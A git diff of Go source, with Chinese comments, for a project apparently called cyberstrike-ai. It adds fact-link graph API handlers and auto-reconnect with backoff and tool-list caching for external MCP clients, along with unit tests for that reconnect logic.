FactKey *string `json:"fact_key"` FactKey *string `json:"fact_key"`
Category *string `json:"category"` Category *string `json:"category"`
Summary *string `json:"summary"` Summary *string `json:"summary"`
Body *string `json:"body"` Body *string `json:"body"`
Confidence *string `json:"confidence"` Confidence *string `json:"confidence"`
Pinned *bool `json:"pinned"` Pinned *bool `json:"pinned"`
RelatedVulnerabilityID *string `json:"related_vulnerability_id"` RelatedVulnerabilityID *string `json:"related_vulnerability_id"`
ClearBody bool `json:"clear_body"` ClearBody bool `json:"clear_body"`
Links *[]factLinkRequest `json:"links"`
LinksText *string `json:"links_text"`
}
func factLinksFromRequest(links []factLinkRequest, linksText *string) (*project.ParsedFactLinks, error) {
if len(links) > 0 {
parsed := &project.ParsedFactLinks{}
for i, l := range links {
from := strings.TrimSpace(l.From)
edgeType := strings.TrimSpace(l.Type)
if from == "" {
return nil, fmt.Errorf("links[%d] 须含 from", i)
}
if edgeType == "" {
return nil, fmt.Errorf("links[%d] 须含 type", i)
}
parsed.Incoming = append(parsed.Incoming, database.ProjectFactEdgeFromInput{
From: from, Type: edgeType, Confidence: strings.TrimSpace(l.Confidence),
})
}
return parsed, nil
}
if linksText != nil {
in, err := project.ParseFactLinksText(*linksText)
if err != nil {
return nil, err
}
return &project.ParsedFactLinks{Incoming: in}, nil
}
return &project.ParsedFactLinks{Incoming: []database.ProjectFactEdgeFromInput{}}, nil
}
type factWithLinksResponse struct {
*database.ProjectFact
OutgoingLinks []*database.ProjectFactEdge `json:"outgoing_links,omitempty"`
IncomingLinks []*database.ProjectFactEdge `json:"incoming_links,omitempty"`
LinkCounts *project.LinkCounts `json:"link_counts,omitempty"`
}
func (h *ProjectHandler) applyFactLinksAfterUpsert(projectID string, fact *database.ProjectFact, links []factLinkRequest, linksText *string, explicitLinks, parseBody bool) error {
if explicitLinks {
parsed, err := factLinksFromRequest(links, linksText)
if err != nil {
return err
}
return project.PersistFactLinksFromParsed(h.db, projectID, fact.FactKey, fact.SourceConversationID, parsed, true)
}
if parseBody {
inputs := project.ParseLinksFromBody(fact.Body)
if inputs == nil {
return nil
}
return project.PersistFactIncomingLinks(h.db, projectID, fact.FactKey, inputs, true)
}
return nil
}
func (h *ProjectHandler) factResponseWithLinks(projectID string, f *database.ProjectFact, includeLinks bool) interface{} {
if !includeLinks || f == nil {
return f
}
out, _ := h.db.ListOutgoingProjectFactEdges(projectID, f.FactKey)
in, _ := h.db.ListIncomingProjectFactEdges(projectID, f.FactKey)
return &factWithLinksResponse{
ProjectFact: f,
OutgoingLinks: out,
IncomingLinks: in,
}
} }
// ListFacts GET /api/projects/:id/facts fact_key 查询参数可获取单条详情) // ListFacts GET /api/projects/:id/facts fact_key 查询参数可获取单条详情)
@@ -244,7 +332,8 @@ func (h *ProjectHandler) ListFacts(c *gin.Context) {
c.JSON(http.StatusNotFound, gin.H{"error": err.Error()}) c.JSON(http.StatusNotFound, gin.H{"error": err.Error()})
return return
} }
c.JSON(http.StatusOK, f) includeLinks := c.Query("include_links") == "1" || c.Query("include_links") == "true"
c.JSON(http.StatusOK, h.factResponseWithLinks(projectID, f, includeLinks))
return return
} }
limit, _ := strconv.Atoi(c.DefaultQuery("limit", "100")) limit, _ := strconv.Atoi(c.DefaultQuery("limit", "100"))
@@ -275,7 +364,52 @@ func (h *ProjectHandler) ListFacts(c *gin.Context) {
} }
list = filtered list = filtered
} }
c.JSON(http.StatusOK, list) includeLinkCounts := c.Query("include_link_counts") == "1" || c.Query("include_link_counts") == "true"
if !includeLinkCounts {
c.JSON(http.StatusOK, list)
return
}
counts, err := project.LoadProjectFactLinkCounts(h.db, projectID)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
out := make([]factWithLinksResponse, 0, len(list))
for _, f := range list {
item := factWithLinksResponse{ProjectFact: f}
if c, ok := counts[f.FactKey]; ok {
cc := c
item.LinkCounts = &cc
}
out = append(out, item)
}
c.JSON(http.StatusOK, out)
}
// GetFactGraph GET /api/projects/:id/fact-graph?view=path|full
func (h *ProjectHandler) GetFactGraph(c *gin.Context) {
projectID := c.Param("id")
if _, err := h.db.GetProject(projectID); err != nil {
c.JSON(http.StatusNotFound, gin.H{"error": "项目不存在"})
return
}
view := c.DefaultQuery("view", "path")
excludeDeprecated := true
if v := c.Query("exclude_deprecated"); v == "0" || v == "false" {
excludeDeprecated = false
}
graph, err := project.BuildProjectFactGraph(h.db, projectID, view, excludeDeprecated)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if graph.Nodes == nil {
graph.Nodes = []database.ProjectFactGraphNode{}
}
if graph.Edges == nil {
graph.Edges = []database.ProjectFactGraphEdge{}
}
c.JSON(http.StatusOK, graph)
} }
// CreateFact POST /api/projects/:id/facts // CreateFact POST /api/projects/:id/facts
@@ -285,8 +419,9 @@ func (h *ProjectHandler) CreateFact(c *gin.Context) {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return return
} }
projectID := c.Param("id")
f := &database.ProjectFact{ f := &database.ProjectFact{
ProjectID: c.Param("id"), ProjectID: projectID,
FactKey: req.FactKey, FactKey: req.FactKey,
Category: req.Category, Category: req.Category,
Summary: req.Summary, Summary: req.Summary,
@@ -300,16 +435,24 @@ func (h *ProjectHandler) CreateFact(c *gin.Context) {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return return
} }
c.JSON(http.StatusOK, created) explicitLinks := req.Links != nil || req.LinksText != nil
if err := h.applyFactLinksAfterUpsert(projectID, created, req.Links, req.LinksText, explicitLinks, !explicitLinks); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
created, _ = h.db.GetProjectFactByKey(projectID, created.FactKey)
c.JSON(http.StatusOK, h.factResponseWithLinks(projectID, created, true))
} }
// UpdateFact PUT /api/projects/:id/facts/:factId // UpdateFact PUT /api/projects/:id/facts/:factId
func (h *ProjectHandler) UpdateFact(c *gin.Context) { func (h *ProjectHandler) UpdateFact(c *gin.Context) {
projectID := c.Param("id")
existing, err := h.db.GetProjectFact(c.Param("factId")) existing, err := h.db.GetProjectFact(c.Param("factId"))
if err != nil || existing.ProjectID != c.Param("id") { if err != nil || existing.ProjectID != projectID {
c.JSON(http.StatusNotFound, gin.H{"error": "事实不存在"}) c.JSON(http.StatusNotFound, gin.H{"error": "事实不存在"})
return return
} }
oldFactKey := existing.FactKey
var req updateFactRequest var req updateFactRequest
if err := c.ShouldBindJSON(&req); err != nil { if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
@@ -345,7 +488,29 @@ func (h *ProjectHandler) UpdateFact(c *gin.Context) {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return return
} }
c.JSON(http.StatusOK, updated) if oldFactKey != updated.FactKey {
if err := h.db.RenameProjectFactKeyEdges(projectID, oldFactKey, updated.FactKey); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
}
if req.Links != nil || req.LinksText != nil {
var links []factLinkRequest
if req.Links != nil {
links = *req.Links
}
if err := h.applyFactLinksAfterUpsert(projectID, updated, links, req.LinksText, true, false); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
} else if req.ClearBody || req.Body != nil {
if err := h.applyFactLinksAfterUpsert(projectID, updated, nil, nil, false, true); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
}
updated, _ = h.db.GetProjectFactByKey(projectID, updated.FactKey)
c.JSON(http.StatusOK, h.factResponseWithLinks(projectID, updated, true))
} }
// DeleteFact DELETE /api/projects/:id/facts/:factId // DeleteFact DELETE /api/projects/:id/facts/:factId
@@ -398,3 +563,82 @@ func (h *ProjectHandler) RestoreFact(c *gin.Context) {
} }
c.JSON(http.StatusOK, gin.H{"success": true}) c.JSON(http.StatusOK, gin.H{"success": true})
} }
type createFactEdgeRequest struct {
SourceFactKey string `json:"source_fact_key" binding:"required"`
TargetFactKey string `json:"target_fact_key" binding:"required"`
EdgeType string `json:"edge_type" binding:"required"`
Confidence string `json:"confidence"`
}
// ListFactEdges GET /api/projects/:id/fact-edges
func (h *ProjectHandler) ListFactEdges(c *gin.Context) {
projectID := c.Param("id")
edges, err := h.db.ListProjectFactEdgesByProject(projectID)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if edges == nil {
edges = []*database.ProjectFactEdge{}
}
c.JSON(http.StatusOK, edges)
}
// CreateFactEdge POST /api/projects/:id/fact-edges
func (h *ProjectHandler) CreateFactEdge(c *gin.Context) {
projectID := c.Param("id")
var req createFactEdgeRequest
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
edge, err := h.db.AddProjectFactEdge(projectID, database.ProjectFactEdgeInput{
To: req.TargetFactKey,
Type: req.EdgeType,
Confidence: req.Confidence,
}, req.SourceFactKey, "")
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if f, err := h.db.GetProjectFactByKey(projectID, req.TargetFactKey); err == nil {
in, _ := h.db.ListIncomingProjectFactEdges(projectID, req.TargetFactKey)
f.Body = project.SyncBodyLinksSection(f.Body, in)
_, _ = h.db.UpsertProjectFact(f)
}
c.JSON(http.StatusOK, edge)
}
// DeleteFactEdge DELETE /api/projects/:id/fact-edges/:edgeId
func (h *ProjectHandler) DeleteFactEdge(c *gin.Context) {
projectID := c.Param("id")
edgeID := c.Param("edgeId")
edge, err := h.db.GetProjectFactEdge(edgeID)
if err != nil || edge.ProjectID != projectID {
c.JSON(http.StatusNotFound, gin.H{"error": "边不存在"})
return
}
if err := h.db.DeleteProjectFactEdge(edgeID); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if f, err := h.db.GetProjectFactByKey(projectID, edge.TargetFactKey); err == nil {
in, _ := h.db.ListIncomingProjectFactEdges(projectID, edge.TargetFactKey)
f.Body = project.SyncBodyLinksSection(f.Body, in)
_, _ = h.db.UpsertProjectFact(f)
}
c.JSON(http.StatusOK, gin.H{"success": true})
}
// PromoteAttackChain POST /api/projects/:id/promote-attack-chain/:conversationId
func (h *ProjectHandler) PromoteAttackChain(c *gin.Context) {
projectID := c.Param("id")
conversationID := c.Param("conversationId")
result, err := attackchain.PromoteToProject(h.db, projectID, conversationID)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, result)
}
+16
View File
@@ -30,3 +30,19 @@ func (h *AgentHandler) projectBlackboardBlock(conversationID string) string {
} }
return strings.TrimSpace(block) return strings.TrimSpace(block)
} }
// conversationProjectID 返回对话绑定的项目 ID;未绑定或查询失败时返回空字符串。
func (h *AgentHandler) conversationProjectID(conversationID string) string {
if h == nil || h.db == nil {
return ""
}
conversationID = strings.TrimSpace(conversationID)
if conversationID == "" {
return ""
}
projectID, err := h.db.GetConversationProjectID(conversationID)
if err != nil {
return ""
}
return strings.TrimSpace(projectID)
}
+1 -1
View File
@@ -447,7 +447,7 @@ func (h *RobotHandler) cmdUnbindProject(platform, userID string) string {
} }
func (h *RobotHandler) cmdList() string { func (h *RobotHandler) cmdList() string {
convs, err := h.db.ListConversations(50, 0, "") convs, err := h.db.ListConversations(50, 0, "", "")
if err != nil { if err != nil {
return "获取对话列表失败: " + err.Error() return "获取对话列表失败: " + err.Error()
} }
+17
View File
@@ -190,6 +190,23 @@ func (c *lazySDKClient) Close() error {
return nil return nil
} }
// markDisconnected 在检测到传输层断连时关闭底层 session,避免 IsConnected 仍返回 true。
func (c *lazySDKClient) markDisconnected() {
c.mu.Lock()
inner := c.inner
sessionCancel := c.sessionCancel
c.inner = nil
c.sessionCancel = nil
c.mu.Unlock()
if sessionCancel != nil {
sessionCancel()
}
if inner != nil {
_ = inner.Close()
}
c.setStatus("disconnected")
}
func (c *sdkClient) setStatus(s string) { func (c *sdkClient) setStatus(s string) {
c.mu.Lock() c.mu.Lock()
defer c.mu.Unlock() defer c.mu.Unlock()
+192
View File
@@ -0,0 +1,192 @@
package mcp
import (
"context"
"errors"
"io"
"strings"
"time"
"go.uber.org/zap"
)
const (
// externalReconnectMinInterval 两次自动重连之间的最短间隔
externalReconnectMinInterval = 30 * time.Second
// externalReconnectMaxBackoff 指数退避上限
externalReconnectMaxBackoff = 5 * time.Minute
)
// isConnectionDeadError 判断错误是否表示底层传输已断开(而非调用方主动取消或超时)。
func isConnectionDeadError(err error) bool {
if err == nil {
return false
}
if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
return false
}
if errors.Is(err, io.EOF) {
return true
}
s := strings.ToLower(err.Error())
return strings.Contains(s, "eof") ||
strings.Contains(s, "client is closing") ||
strings.Contains(s, "connection closed") ||
strings.Contains(s, "connection reset") ||
strings.Contains(s, "broken pipe")
}
// handleConnectionDead 在 ListTools/CallTool 等操作失败且判定为断连时,标记客户端并调度重连。
func (m *ExternalMCPManager) handleConnectionDead(name string, client ExternalMCPClient, err error) {
if !isConnectionDeadError(err) {
return
}
m.logger.Warn("检测到外部MCP连接已断开,将尝试自动重连",
zap.String("name", name),
zap.Error(err),
)
m.markClientDisconnected(name, client, err)
m.scheduleReconnect(name)
}
func (m *ExternalMCPManager) markClientDisconnected(name string, client ExternalMCPClient, err error) {
if lazy, ok := client.(*lazySDKClient); ok {
lazy.markDisconnected()
}
m.mu.Lock()
if err != nil {
m.errors[name] = "连接已断开: " + err.Error()
}
m.mu.Unlock()
m.toolCountsMu.Lock()
m.toolCounts[name] = 0
m.toolCountsMu.Unlock()
}
func (m *ExternalMCPManager) onClientConnected(name string) {
m.clearReconnectState(name)
}
func (m *ExternalMCPManager) clearReconnectState(name string) {
m.reconnectMu.Lock()
delete(m.reconnectAttempts, name)
delete(m.reconnectLastTry, name)
delete(m.reconnecting, name)
m.reconnectMu.Unlock()
}
func (m *ExternalMCPManager) reconnectBackoff(attempts int) time.Duration {
if attempts <= 0 {
return 0
}
d := externalReconnectMinInterval
for i := 1; i < attempts && d < externalReconnectMaxBackoff; i++ {
d *= 2
}
if d > externalReconnectMaxBackoff {
return externalReconnectMaxBackoff
}
return d
}
func (m *ExternalMCPManager) scheduleReconnect(name string) {
m.mu.RLock()
cfg, exists := m.configs[name]
enabled := exists && m.isEnabled(cfg)
m.mu.RUnlock()
if !enabled {
return
}
go m.tryReconnect(name)
}
func (m *ExternalMCPManager) tryReconnect(name string) {
m.reconnectMu.Lock()
if m.reconnecting[name] {
m.reconnectMu.Unlock()
return
}
attempts := m.reconnectAttempts[name]
if wait := m.reconnectBackoff(attempts); wait > 0 {
if last, ok := m.reconnectLastTry[name]; ok {
if elapsed := time.Since(last); elapsed < wait {
remaining := wait - elapsed
m.reconnectMu.Unlock()
m.scheduleReconnectAfter(name, remaining)
return
}
}
}
m.reconnecting[name] = true
m.reconnectMu.Unlock()
defer func() {
m.reconnectMu.Lock()
delete(m.reconnecting, name)
m.reconnectMu.Unlock()
}()
m.mu.RLock()
cfg, exists := m.configs[name]
enabled := exists && m.isEnabled(cfg)
client, hasClient := m.clients[name]
connecting := hasClient && client.GetStatus() == "connecting"
m.mu.RUnlock()
if !enabled {
m.logger.Debug("跳过自动重连(外部MCP已停用)", zap.String("name", name))
return
}
if connecting {
m.logger.Debug("跳过自动重连(连接正在进行中)", zap.String("name", name))
return
}
m.reconnectMu.Lock()
m.reconnectLastTry[name] = time.Now()
m.reconnectAttempts[name] = attempts + 1
attemptNum := m.reconnectAttempts[name]
m.reconnectMu.Unlock()
m.logger.Info("正在自动重连外部MCP",
zap.String("name", name),
zap.Int("attempt", attemptNum),
)
if err := m.startClient(name, true); err != nil {
m.logger.Warn("自动重连外部MCP失败",
zap.String("name", name),
zap.Error(err),
)
}
}
// scheduleReconnectAfterFailure 在自动重连失败后,按当前退避间隔预约下一次重试。
func (m *ExternalMCPManager) scheduleReconnectAfterFailure(name string) {
m.mu.RLock()
cfg, exists := m.configs[name]
enabled := exists && m.isEnabled(cfg)
m.mu.RUnlock()
if !enabled {
return
}
m.reconnectMu.Lock()
wait := m.reconnectBackoff(m.reconnectAttempts[name])
m.reconnectMu.Unlock()
m.logger.Info("自动重连失败,将按退避间隔再次尝试",
zap.String("name", name),
zap.Duration("after", wait),
)
m.scheduleReconnectAfter(name, wait)
}
// scheduleReconnectAfter 在 delay 后触发 tryReconnectdelay<=0 时立即执行)。
func (m *ExternalMCPManager) scheduleReconnectAfter(name string, delay time.Duration) {
if delay <= 0 {
go m.tryReconnect(name)
return
}
time.AfterFunc(delay, func() {
m.tryReconnect(name)
})
}
+215
View File
@@ -0,0 +1,215 @@
package mcp
import (
"context"
"errors"
"fmt"
"io"
"testing"
"time"
"cyberstrike-ai/internal/config"
"go.uber.org/zap"
)
func TestIsConnectionDeadError(t *testing.T) {
t.Parallel()
cases := []struct {
name string
err error
want bool
}{
{"nil", nil, false},
{"eof", io.EOF, true},
{"wrapped eof", fmt.Errorf("connection closed: %w", io.EOF), true},
{"client closing", errors.New(`calling "tools/list": client is closing: EOF`), true},
{"connection reset", errors.New("read tcp: connection reset by peer"), true},
{"canceled", context.Canceled, false},
{"deadline", context.DeadlineExceeded, false},
{"other", errors.New("invalid params"), false},
}
for _, tc := range cases {
tc := tc
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
if got := isConnectionDeadError(tc.err); got != tc.want {
t.Fatalf("isConnectionDeadError(%v) = %v, want %v", tc.err, got, tc.want)
}
})
}
}
func TestLazySDKClient_MarkDisconnected(t *testing.T) {
c := &lazySDKClient{status: "connected"}
c.inner = &sdkClient{status: "connected"}
c.markDisconnected()
if c.IsConnected() {
t.Fatal("expected disconnected after markDisconnected")
}
if c.GetStatus() != "disconnected" {
t.Fatalf("expected status disconnected, got %s", c.GetStatus())
}
}
func TestHandleConnectionDead_MarksLazyClientDisconnected(t *testing.T) {
logger := zap.NewNop()
m := NewExternalMCPManager(logger)
name := "dead-mcp"
cfg := config.ExternalMCPServerConfig{
Type: "http",
URL: "http://example.com/mcp",
ExternalMCPEnable: true,
}
m.mu.Lock()
m.configs[name] = cfg
client := newLazySDKClient(cfg, logger)
client.inner = &sdkClient{status: "connected"}
client.status = "connected"
m.clients[name] = client
m.mu.Unlock()
deadErr := errors.New(`connection closed: calling "tools/list": client is closing: EOF`)
m.handleConnectionDead(name, client, deadErr)
if client.IsConnected() {
t.Fatal("expected disconnected after handleConnectionDead")
}
if m.GetError(name) == "" {
t.Fatal("expected error message to be recorded")
}
counts := m.GetToolCounts()
if counts[name] != 0 {
t.Fatalf("expected tool count 0 after disconnect, got %d", counts[name])
}
}
func TestReconnectBackoff(t *testing.T) {
t.Parallel()
if d := (&ExternalMCPManager{}).reconnectBackoff(0); d != 0 {
t.Fatalf("attempt 0: got %v", d)
}
if d := (&ExternalMCPManager{}).reconnectBackoff(1); d != externalReconnectMinInterval {
t.Fatalf("attempt 1: got %v", d)
}
if d := (&ExternalMCPManager{}).reconnectBackoff(10); d != externalReconnectMaxBackoff {
t.Fatalf("attempt 10: got %v, want cap %v", d, externalReconnectMaxBackoff)
}
}
func TestTryReconnect_RateLimited(t *testing.T) {
logger := zap.NewNop()
m := NewExternalMCPManager(logger)
name := "rate-limited"
m.reconnectMu.Lock()
m.reconnectLastTry[name] = time.Now()
m.reconnectAttempts[name] = 2
m.reconnectMu.Unlock()
m.tryReconnect(name)
m.reconnectMu.Lock()
attempts := m.reconnectAttempts[name]
m.reconnectMu.Unlock()
if attempts != 2 {
t.Fatalf("rate limited reconnect should not increment attempts, got %d", attempts)
}
}
func TestTryReconnect_SkipsWhenDisabled(t *testing.T) {
logger := zap.NewNop()
m := NewExternalMCPManager(logger)
name := "disabled-mcp"
m.mu.Lock()
m.configs[name] = config.ExternalMCPServerConfig{
Type: "http",
URL: "http://example.com/mcp",
ExternalMCPEnable: false,
}
m.mu.Unlock()
m.tryReconnect(name)
m.reconnectMu.Lock()
attempts := m.reconnectAttempts[name]
m.reconnectMu.Unlock()
if attempts != 0 {
t.Fatalf("disabled MCP should not increment reconnect attempts, got %d", attempts)
}
}
func TestTryReconnect_SkipsWhenConnecting(t *testing.T) {
logger := zap.NewNop()
m := NewExternalMCPManager(logger)
name := "connecting-mcp"
cfg := config.ExternalMCPServerConfig{
Type: "http",
URL: "http://example.com/mcp",
ExternalMCPEnable: true,
}
client := newLazySDKClient(cfg, logger)
client.setStatus("connecting")
m.mu.Lock()
m.configs[name] = cfg
m.clients[name] = client
m.mu.Unlock()
m.tryReconnect(name)
m.reconnectMu.Lock()
attempts := m.reconnectAttempts[name]
m.reconnectMu.Unlock()
if attempts != 0 {
t.Fatalf("connecting MCP should not increment reconnect attempts, got %d", attempts)
}
}
func TestStartClientAutoReconnect_SkipsWhenDisabled(t *testing.T) {
logger := zap.NewNop()
m := NewExternalMCPManager(logger)
m.stopRefresh = make(chan struct{})
name := "stopped"
m.mu.Lock()
m.configs[name] = config.ExternalMCPServerConfig{
Type: "http",
URL: "http://example.com/mcp",
ExternalMCPEnable: false,
}
m.mu.Unlock()
if err := m.startClient(name, true); err != nil {
t.Fatalf("startClient: %v", err)
}
m.mu.RLock()
cfg := m.configs[name]
_, hasClient := m.clients[name]
m.mu.RUnlock()
if cfg.ExternalMCPEnable {
t.Fatal("auto reconnect should not enable stopped MCP")
}
if hasClient {
t.Fatal("auto reconnect should not create client when disabled")
}
}
func TestOnClientConnected_ClearsReconnectState(t *testing.T) {
m := &ExternalMCPManager{
reconnectAttempts: map[string]int{"x": 3},
reconnectLastTry: map[string]time.Time{"x": time.Now()},
reconnecting: map[string]bool{"x": true},
}
m.onClientConnected("x")
m.reconnectMu.Lock()
defer m.reconnectMu.Unlock()
if len(m.reconnectAttempts) != 0 || len(m.reconnectLastTry) != 0 || len(m.reconnecting) != 0 {
t.Fatal("expected reconnect state cleared")
}
}
+217 -76
View File
@@ -15,6 +15,26 @@ import (
"go.uber.org/zap" "go.uber.org/zap"
) )
const (
// externalToolListCacheTTL 已连接外部 MCP 的工具列表缓存有效期,避免每次 API 请求都打远程 ListTools。
externalToolListCacheTTL = 60 * time.Second
// externalToolCountRefreshInterval 后台刷新工具数量的间隔(仅刷新缓存过期或缺失的客户端)。
externalToolCountRefreshInterval = 60 * time.Second
)
// toolListCacheEntry 外部 MCP 工具列表缓存条目
type toolListCacheEntry struct {
tools []Tool
updatedAt time.Time
}
// listToolsInflight 合并同一 MCP 上并发的 ListTools 请求
type listToolsInflight struct {
done chan struct{}
tools []Tool
err error
}
// ExternalMCPManager 外部MCP管理器 // ExternalMCPManager 外部MCP管理器
type ExternalMCPManager struct { type ExternalMCPManager struct {
clients map[string]ExternalMCPClient clients map[string]ExternalMCPClient
@@ -26,14 +46,20 @@ type ExternalMCPManager struct {
errors map[string]string // 错误信息 errors map[string]string // 错误信息
toolCounts map[string]int // 工具数量缓存 toolCounts map[string]int // 工具数量缓存
toolCountsMu sync.RWMutex // 工具数量缓存的锁 toolCountsMu sync.RWMutex // 工具数量缓存的锁
toolCache map[string][]Tool // 工具列表缓存:MCP名称 -> 工具列表 toolCache map[string]toolListCacheEntry // 工具列表缓存:MCP名称 -> 工具列表
toolCacheMu sync.RWMutex // 工具列表缓存的锁 toolCacheMu sync.RWMutex // 工具列表缓存的锁
listToolsMu sync.Mutex
listToolsInflight map[string]*listToolsInflight
stopRefresh chan struct{} // 停止后台刷新的信号 stopRefresh chan struct{} // 停止后台刷新的信号
refreshWg sync.WaitGroup // 等待后台刷新goroutine完成 refreshWg sync.WaitGroup // 等待后台刷新goroutine完成
refreshing atomic.Bool // 防止 refreshToolCounts 并发堆积 refreshing atomic.Bool // 防止 refreshToolCounts 并发堆积
mu sync.RWMutex mu sync.RWMutex
runningCancels map[string]context.CancelFunc runningCancels map[string]context.CancelFunc
abortUserNotes map[string]string abortUserNotes map[string]string
reconnectMu sync.Mutex
reconnecting map[string]bool
reconnectLastTry map[string]time.Time
reconnectAttempts map[string]int
} }
// NewExternalMCPManager 创建外部MCP管理器 // NewExternalMCPManager 创建外部MCP管理器
@@ -51,11 +77,15 @@ func NewExternalMCPManagerWithStorage(logger *zap.Logger, storage MonitorStorage
executions: make(map[string]*ToolExecution), executions: make(map[string]*ToolExecution),
stats: make(map[string]*ToolStats), stats: make(map[string]*ToolStats),
errors: make(map[string]string), errors: make(map[string]string),
toolCounts: make(map[string]int), toolCounts: make(map[string]int),
toolCache: make(map[string][]Tool), toolCache: make(map[string]toolListCacheEntry),
stopRefresh: make(chan struct{}), listToolsInflight: make(map[string]*listToolsInflight),
runningCancels: make(map[string]context.CancelFunc), stopRefresh: make(chan struct{}),
abortUserNotes: make(map[string]string), runningCancels: make(map[string]context.CancelFunc),
abortUserNotes: make(map[string]string),
reconnecting: make(map[string]bool),
reconnectLastTry: make(map[string]time.Time),
reconnectAttempts: make(map[string]int),
} }
// 启动后台刷新工具数量的goroutine // 启动后台刷新工具数量的goroutine
manager.startToolCountRefresh() manager.startToolCountRefresh()
@@ -122,6 +152,7 @@ func (m *ExternalMCPManager) RemoveConfig(name string) error {
} }
delete(m.configs, name) delete(m.configs, name)
m.clearReconnectState(name)
// 清理工具数量缓存 // 清理工具数量缓存
m.toolCountsMu.Lock() m.toolCountsMu.Lock()
@@ -136,8 +167,13 @@ func (m *ExternalMCPManager) RemoveConfig(name string) error {
return nil return nil
} }
// StartClient 启动客户端 // StartClient 启动客户端(用户手动启动;连接失败不自动重试)
func (m *ExternalMCPManager) StartClient(name string) error { func (m *ExternalMCPManager) StartClient(name string) error {
return m.startClient(name, false)
}
// startClient 启动客户端。autoReconnect 为 true 时用于断连自愈:尊重停用状态,失败后按退避继续重试。
func (m *ExternalMCPManager) startClient(name string, autoReconnect bool) error {
m.mu.Lock() m.mu.Lock()
serverCfg, exists := m.configs[name] serverCfg, exists := m.configs[name]
m.mu.Unlock() m.mu.Unlock()
@@ -146,6 +182,10 @@ func (m *ExternalMCPManager) StartClient(name string) error {
return fmt.Errorf("配置不存在: %s", name) return fmt.Errorf("配置不存在: %s", name)
} }
if autoReconnect && !m.isEnabled(serverCfg) {
return nil
}
// 检查是否已经有连接的客户端 // 检查是否已经有连接的客户端
m.mu.RLock() m.mu.RLock()
existingClient, hasClient := m.clients[name] existingClient, hasClient := m.clients[name]
@@ -155,11 +195,12 @@ func (m *ExternalMCPManager) StartClient(name string) error {
// 检查客户端是否已连接 // 检查客户端是否已连接
if existingClient.IsConnected() { if existingClient.IsConnected() {
// 客户端已连接,直接返回成功(目标状态已达成) // 客户端已连接,直接返回成功(目标状态已达成)
// 更新配置为启用(确保配置一致) if !autoReconnect {
m.mu.Lock() m.mu.Lock()
serverCfg.ExternalMCPEnable = true serverCfg.ExternalMCPEnable = true
m.configs[name] = serverCfg m.configs[name] = serverCfg
m.mu.Unlock() m.mu.Unlock()
}
return nil return nil
} }
// 如果有客户端但未连接,先关闭 // 如果有客户端但未连接,先关闭
@@ -169,6 +210,16 @@ func (m *ExternalMCPManager) StartClient(name string) error {
m.mu.Unlock() m.mu.Unlock()
} }
if autoReconnect {
m.mu.RLock()
serverCfg, exists = m.configs[name]
enabled := exists && m.isEnabled(serverCfg)
m.mu.RUnlock()
if !enabled {
return nil
}
}
// 更新配置为启用 // 更新配置为启用
m.mu.Lock() m.mu.Lock()
serverCfg.ExternalMCPEnable = true serverCfg.ExternalMCPEnable = true
@@ -192,10 +243,11 @@ func (m *ExternalMCPManager) StartClient(name string) error {
m.mu.Unlock() m.mu.Unlock()
// 在后台异步进行实际连接 // 在后台异步进行实际连接
go func() { go func(reconnect bool) {
if err := m.doConnect(name, serverCfg, client); err != nil { if err := m.doConnect(name, serverCfg, client); err != nil {
m.logger.Error("连接外部MCP客户端失败", m.logger.Error("连接外部MCP客户端失败",
zap.String("name", name), zap.String("name", name),
zap.Bool("auto_reconnect", reconnect),
zap.Error(err), zap.Error(err),
) )
// 连接失败,设置状态为error并保存错误信息 // 连接失败,设置状态为error并保存错误信息
@@ -205,22 +257,19 @@ func (m *ExternalMCPManager) StartClient(name string) error {
m.mu.Unlock() m.mu.Unlock()
// 触发工具数量刷新(连接失败,工具数量应为0) // 触发工具数量刷新(连接失败,工具数量应为0)
m.triggerToolCountRefresh() m.triggerToolCountRefresh()
if reconnect {
m.scheduleReconnectAfterFailure(name)
}
} else { } else {
// 连接成功,清除错误信息 // 连接成功,清除错误信息
m.mu.Lock() m.mu.Lock()
delete(m.errors, name) delete(m.errors, name)
m.mu.Unlock() m.mu.Unlock()
// 立即刷新工具数量和工具列表缓存 m.onClientConnected(name)
m.triggerToolCountRefresh() // 异步拉取工具列表(singleflight 去重,结果同时写入 toolCache 与 toolCounts
m.refreshToolCache(name, client) go m.refreshToolCache(name, client)
// 2 秒后再刷新一次,覆盖 SSE/Streamable 等需稍等就绪的远端
go func() {
time.Sleep(2 * time.Second)
m.triggerToolCountRefresh()
m.refreshToolCache(name, client)
}()
} }
}() }(autoReconnect)
return nil return nil
} }
@@ -249,10 +298,16 @@ func (m *ExternalMCPManager) StopClient(name string) error {
m.toolCounts[name] = 0 m.toolCounts[name] = 0
m.toolCountsMu.Unlock() m.toolCountsMu.Unlock()
m.toolCacheMu.Lock()
delete(m.toolCache, name)
m.toolCacheMu.Unlock()
// 更新配置为禁用 // 更新配置为禁用
serverCfg.ExternalMCPEnable = false serverCfg.ExternalMCPEnable = false
m.configs[name] = serverCfg m.configs[name] = serverCfg
m.clearReconnectState(name)
